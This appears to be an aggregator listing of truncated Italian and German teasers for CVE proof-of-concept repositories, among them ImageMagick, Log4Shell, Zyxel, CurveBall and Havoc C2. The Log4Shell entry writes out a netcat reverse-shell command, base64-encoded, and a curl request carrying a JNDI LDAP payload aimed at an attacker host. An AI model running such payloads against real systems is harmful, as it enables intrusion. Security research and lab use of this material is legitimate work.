auto-cve-2022-44268.sh

auto-cve-2022-44268 Automazione dello sfruttamento di CVE-2022-44268 ImageMagick Arbitrary File Read Scoperta originale: https://www.metabaseq.com/imagemagick-zero-days/ Repository PoC: https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC Descrizione ImageMagick interprete...

blogpost_cve-2018-19987-analysis

Analisi di CVE-2018-19987 Iniezione di comandi OS D-Link Ciao a tutti! In questo breve post del blog analizzerò una rapida analisi che ho svolto per comprendere meglio i dettagli dietro CVE-2018-19987. All'inizio ho cercato questa CVE perché pensavo che non ci fossero informazioni pubbliche o...

CVE-2023-2598

CVE-2023-2598 Was ist iouring? ​ iouring ist eine Systemaufrufschnittstelle für Linux. Sie unterstützt inzwischen fast alle Systemaufrufe, nicht nur read und write wie anfänglich. Sie ermöglicht einer Anwendung, Systemaufrufe anzustoßen, die asynchron ausgeführt werden können. Submission- und...

SentinelThread-Forensics

🛡️ Sentinel Thread Pro La piattaforma forense ad alta velocità per Windows triage 📋 La Missione Nelle operazioni SOC moderne, l'analisi manuale degli EVTX è una condanna a morte per il tuo MTTR Mean Time to Respond. Sentinel Thread Pro è costruito per colmare il divario tra enormi log grezzi e...

CVE-2022-29622

CVE-2022–29622: Un-Verwundbarkeitsanalyse Diese Codebasis wurde erstellt, um Sicherheitsexperten und Entwicklern dabei zu helfen zu verstehen, warum ich der Meinung bin, dass Formidable nicht durch CVE-2022-29622 verwundbar war. Meine Analyse habe ich hier beschrieben: CVE-2022–29622:...

dinkleberry

Dinkleberry 🫐 Sei una delle 92,000+ persone1 bloccate con un NAS D-Link vulnerabile a CVE-2024-3272 e nessuna patch in vista? Questo strumento utilizza l'exploit stesso per correggere un dispositivo vulnerabile. 1: Vedi la divulgazione originale nei riferimenti Cosa fa Dinkleberry eseguirà un...

CVE-2020-0601

CVE-2020-0601 : sfruttamento della CVE CurveBall Questo script ruby può essere utilizzato per falsificare una legittima autorità di certificazione e generare un certificato che sarà considerato valido per i computer Windows affetti dalla vulnerabilità CurveBall. Devi procurarti un certificato...

CVE-2026-42530

cve-id ⚡ Utilizzo Semplice Utilizza questo progetto solo in ambienti sicuri e autorizzati come: Macchine virtuali locali Contenitori Docker Configurazioni di laboratorio isolate Ambienti di test di penetrazione autorizzati Esempio di configurazione: root@kitploit: git clone cd Project use python...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc IP Pubblico Porta -e /bin/sh Converti in Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Sito Target -H "X-Forwarded-Host: $jndi:ldap://IP ReverseShell:Porta/Basic/Command/Base64/Payload in base64 Prova di concetto Log4j...

CVE-2018-6574

CVE-2018-6574 Go prima di 1.8.7, Go 1.9.x prima di 1.9.4 e Go 1.10 pre-release prima di Go 1.10rc2 consentono l'esecuzione di comandi remoti tramite go get durante la compilazione del codice sorgente, sfruttando la funzionalità dei plugin di gcc o clang, poiché gli argomenti -fplugin= e -plugin=...

ore_react2shell_scanner

Rapticore Security Research - Scanner React2Shell Un toolkit di valutazione della sicurezza sviluppato dal Team di Ricerca sulla Sicurezza di Rapticore per rilevare vulnerabilità dei React Server Components RSC, inclusa CVE-2025-55182 React2Shell, una vulnerabilità critica di esecuzione remota di...

CVE-2026-10795-Lab

CVE Lab: CVE-2026-10795 - UpdraftPlus UpdraftCentral RPC Authentifizierungsumgehung verknüpft mit Plugin-Installation Zusammenfassung Dieses Repository enthält ein lokales Docker-Lab zur Reproduktion und Validierung von CVE-2026-10795, einer nicht authentifizierten...

copyfailscan

copyfailscan Helper Bash: rileva gli host opzionale CIDR via nmap, quindi esegue controlli SSH di sola lettura per CVE-2026-31431 Copy Fail / algifaead, CVE-2026-31677 / CVE-2026-43077 euristiche AFALG RX, CVE-2026-23111 nftables + namespace utente, CVE-2026-23102 arm64 SVE/SME. Solo euristiche —...

CVE-2025-29972

CVE-2025-29927 - Vulnerabilità di sicurezza critica in Next.js Panoramica CVE-2025-29927 è una vulnerabilità di sicurezza critica che colpisce Next.js , un popolare framework React per la creazione di applicazioni web full-stack. Questa falla consente agli attaccanti di bypassare i controlli di...

cve-2022-30525

CVE-2022-30525 di 1vere$k Rapid7 ha scoperto e segnalato una vulnerabilità che interessa i firewall Zyxel che supportano lo Zero Touch Provisioning ZTP, tra cui la serie ATP, la serie VPN e la serie USG FLEX incluse USG20-VPN e USG20W-VPN. La vulnerabilità, identificata come CVE-2022-30525,...

poc-CVE-2019-9053

PoC CVE-2019-9053 - CMS Made Simple SQL Injection PoC didattico in Python 3 per la CVE-2019-9053, una vulnerabilità di SQL Injection time-based blind in CMS Made Simple = 2.2.9. Questa versione è stata modificata per l'uso in CTF/laboratorio. Possiede prefissi preconfigurati per ridurre il tempo ...

CVE-2022-30525

CVE-2022-30525 Zyxel firewall vulnerabilità di iniezione di comandi remoti non autenticata Componenti interessati USG FLEX 100, 100W, 200, 500, 700 USG20-VPN, USG20W-VPN ATP 100, 200, 500, 700, 800 Versioni firmware ZLD5.00 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21...

CVE-2021-29447

Ordine di installazione ed esecuzione 0. Esecuzione di docker root@kitploit: $docker-compose up 1. Esecuzione di wordpress.sh Prima di installare wordpress, si configurano le impostazioni nel file wp-config.php. root@kitploit: $docker exec -it -u root wordpress /bin/bash -c...

CVE-2026-4255

CVE-2026-4255 Thermalright TR-VISION HOME - Escalation dei privilegi tramite caricamento laterale di DLL Gravità: ALTA CVSS 8.4 CWE: CWE-829 Inclusione di funzionalità da una sfera di controllo non attendibile Pubblicato: 16/03/2026 CNA: Toreon Versioni interessate: Thermalright TR-VISION HOME ≤...

CVE-2024-41570-Havoc-C2-RCE

Havoc-C2-RCE CVE-2024-41570 Dies ist eine verkettete RCE CVE-2024-41570 im Havoc C2-Framework. Befehlseinschleusung: Havoc ist anfällig für Befehlseinschleusung, die es einem authentifizierten Benutzer ermöglicht, Befehle auf dem Teamserver auszuführen. Betroffen sind Versionen 0.3 bis zur neuest...